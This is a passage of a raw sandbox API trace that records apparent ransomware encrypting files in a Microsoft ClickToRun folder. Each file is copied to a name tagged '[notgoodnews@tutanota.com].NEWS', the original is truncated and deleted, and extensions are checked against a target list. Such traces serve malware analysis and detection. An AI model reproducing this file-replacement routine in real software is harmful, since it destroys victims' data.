shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.440] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=18624) returned 1 [0081.440] CloseHandle (hObject=0x38c) returned 1 [0081.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0081.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0081.441] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.441] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0081.441] GetLastError () returned 0x0 [0081.441] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0081.595] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0081.596] ReadFile (in: hFile=0x38c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.596] WriteFile (in: hFile=0x2c4, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x112, lpOverlapped=0x0) returned 1 [0081.596] SetEndOfFile (hFile=0x2c4) returned 1 [0081.596] CloseHandle (hObject=0x2c4) returned 1 [0081.650] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.650] SetEndOfFile (hFile=0x38c) returned 1 [0081.651] CloseHandle (hObject=0x38c) returned 1 [0081.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.651] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0081.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0081.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0081.652] lstrlenW (lpString=".doc") returned 4 [0081.652] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.652] lstrlenW (lpString=".docx") returned 5 [0081.652] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.652] lstrlenW (lpString=".pdf") returned 4 [0081.652] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.652] lstrlenW (lpString=".xls") returned 4 [0081.652] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.652] lstrlenW (lpString=".xlsx") returned 5 [0081.652] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.652] lstrlenW (lpString=".ppt") returned 4 [0081.652] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0081.652] lstrlenW (lpString=".zip") returned 4 [0081.652] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.652] lstrlenW (lpString=".rar") returned 4 [0081.652] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.652] lstrlenW (lpString=".bz2") returned 4 [0081.652] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.652] lstrlenW (lpString=".7z") returned 3 [0081.652] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0081.653] lstrlenW (lpString=".dbf") returned 4 [0081.653] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0081.653] lstrlenW (lpString=".1cd") returned 4 [0081.653] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0081.653] lstrlenW (lpString=".jpg") returned 4 [0081.653] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0081.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0081.653] lstrlenW (lpString=".doc") returned 4 [0081.653] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.653] lstrlenW (lpString=".docx") returned 5 [0081.653] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.653] lstrlenW (lpString=".pdf") returned 4 [0081.653] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.653] lstrlenW (lpString=".xls") returned 4 [0081.653] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.653] lstrlenW (lpString=".xlsx") returned 5 [0081.653] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.653] lstrlenW (lpString=".ppt") returned 4 [0081.653] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0081.653] lstrlenW (lpString=".zip") returned 4 [0081.653] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.653] lstrlenW (lpString=".rar") returned 4 [0081.653] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.653] lstrlenW (lpString=".bz2") returned 4 [0081.653] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.653] lstrlenW (lpString=".7z") returned 3 [0081.654] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0081.654] lstrlenW (lpString=".dbf") returned 4 [0081.654] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0081.654] lstrlenW (lpString=".1cd") returned 4 [0081.654] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0081.654] lstrlenW (lpString=".jpg") returned 4 [0081.654] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.654] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.654] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0081.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0081.655] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=18624) returned 1 [0081.655] CloseHandle (hObject=0x2c4) returned 1 [0081.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0081.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0081.656] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.656] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0081.656] GetLastError () returned 0x0 [0081.656] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0081.658] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0081.659] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.659] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11a, lpOverlapped=0x0) returned 1 [0081.659] SetEndOfFile (hFile=0x36c) returned 1 [0081.659] CloseHandle (hObject=0x36c) returned 1 [0081.661] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.661] SetEndOfFile (hFile=0x2c4) returned 1 [0081.662] CloseHandle (hObject=0x2c4) returned 1 [0081.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.663] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0081.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0081.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0081.663] lstrlenW (lpString=".doc") returned 4 [0081.663] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.663] lstrlenW (lpString=".docx") returned 5 [0081.663] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.663] lstrlenW (lpString=".pdf") returned 4 [0081.663] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.663] lstrlenW (lpString=".xls") returned 4 [0081.663] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.663] lstrlenW (lpString=".xlsx") returned 5 [0081.663] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.663] lstrlenW (lpString=".ppt") returned 4 [0081.663] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0081.663] lstrlenW (lpString=".zip") returned 4 [0081.663] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.663] lstrlenW (lpString=".rar") returned 4 [0081.663] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.663] lstrlenW (lpString=".bz2") returned 4 [0081.663] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.663] lstrlenW (lpString=".7z") returned 3 [0081.663] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0081.663] lstrlenW (lpString=".dbf") returned 4 [0081.663] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0081.663] lstrlenW (lpString=".1cd") returned 4 [0081.664] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0081.664] lstrlenW (lpString=".jpg") returned 4 [0081.664] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0081.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0081.664] lstrlenW (lpString=".doc") returned 4 [0081.664] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.664] lstrlenW (lpString=".docx") returned 5 [0081.664] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.664] lstrlenW (lpString=".pdf") returned 4 [0081.664] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.664] lstrlenW (lpString=".xls") returned 4 [0081.664] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.664] lstrlenW (lpString=".xlsx") returned 5 [0081.664] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.664] lstrlenW (lpString=".ppt") returned 4 [0081.664] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0081.664] lstrlenW (lpString=".zip") returned 4 [0081.664] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.664] lstrlenW (lpString=".rar") returned 4 [0081.664] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.664] lstrlenW (lpString=".bz2") returned 4 [0081.664] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.664] lstrlenW (lpString=".7z") returned 3 [0081.664] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0081.664] lstrlenW (lpString=".dbf") returned 4 [0081.664] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0081.664] lstrlenW (lpString=".1cd") returned 4 [0081.664] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0081.664] lstrlenW (lpString=".jpg") returned 4 [0081.664] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.665] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.665] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0081.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0081.665] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=11616) returned 1 [0081.665] CloseHandle (hObject=0x2c4) returned 1 [0081.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0081.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0081.665] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.665] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0081.666] GetLastError () returned 0x0 [0081.666] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x2d60, lpOverlapped=0x0) returned 1 [0081.667] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0081.668] ReadFile (in: hFile=0x2c4, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.668] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x116, lpOverlapped=0x0) returned 1 [0081.668] SetEndOfFile (hFile=0x36c) returned 1 [0081.669] CloseHandle (hObject=0x36c) returned 1 [0081.669] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.670] SetEndOfFile (hFile=0x2c4) returned 1 [0081.670] CloseHandle (hObject=0x2c4) returned 1 [0081.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.671] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0081.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0081.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0081.671] lstrlenW (lpString=".doc") returned 4 [0081.671] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.671] lstrlenW (lpString=".docx") returned 5 [0081.671] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.671] lstrlenW (lpString=".pdf") returned 4 [0081.671] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.671] lstrlenW (lpString=".xls") returned 4 [0081.671] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.671] lstrlenW (lpString=".xlsx") returned 5 [0081.671] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.671] lstrlenW (lpString=".ppt") returned 4 [0081.671] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0081.671] lstrlenW (lpString=".zip") returned 4 [0081.671] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.671] lstrlenW (lpString=".rar") returned 4 [0081.671] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.671] lstrlenW (lpString=".bz2") returned 4 [0081.671] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.671] lstrlenW (lpString=".7z") returned 3 [0081.671] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0081.672] lstrlenW (lpString=".dbf") returned 4 [0081.672] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0081.672] lstrlenW (lpString=".1cd") returned 4 [0081.672] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0081.672] lstrlenW (lpString=".jpg") returned 4 [0081.672] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0081.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0081.672] lstrlenW (lpString=".doc") returned 4 [0081.672] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.672] lstrlenW (lpString=".docx") returned 5 [0081.672] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.672] lstrlenW (lpString=".pdf") returned 4 [0081.672] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.672] lstrlenW (lpString=".xls") returned 4 [0081.672] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.672] lstrlenW (lpString=".xlsx") returned 5 [0081.672] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.672] lstrlenW (lpString=".ppt") returned 4 [0081.672] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0081.672] lstrlenW (lpString=".zip") returned 4 [0081.672] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.672] lstrlenW (lpString=".rar") returned 4 [0081.672] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.672] lstrlenW (lpString=".bz2") returned 4 [0081.672] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.672] lstrlenW (lpString=".7z") returned 3 [0081.672] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0081.672] lstrlenW (lpString=".dbf") returned 4 [0081.672] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 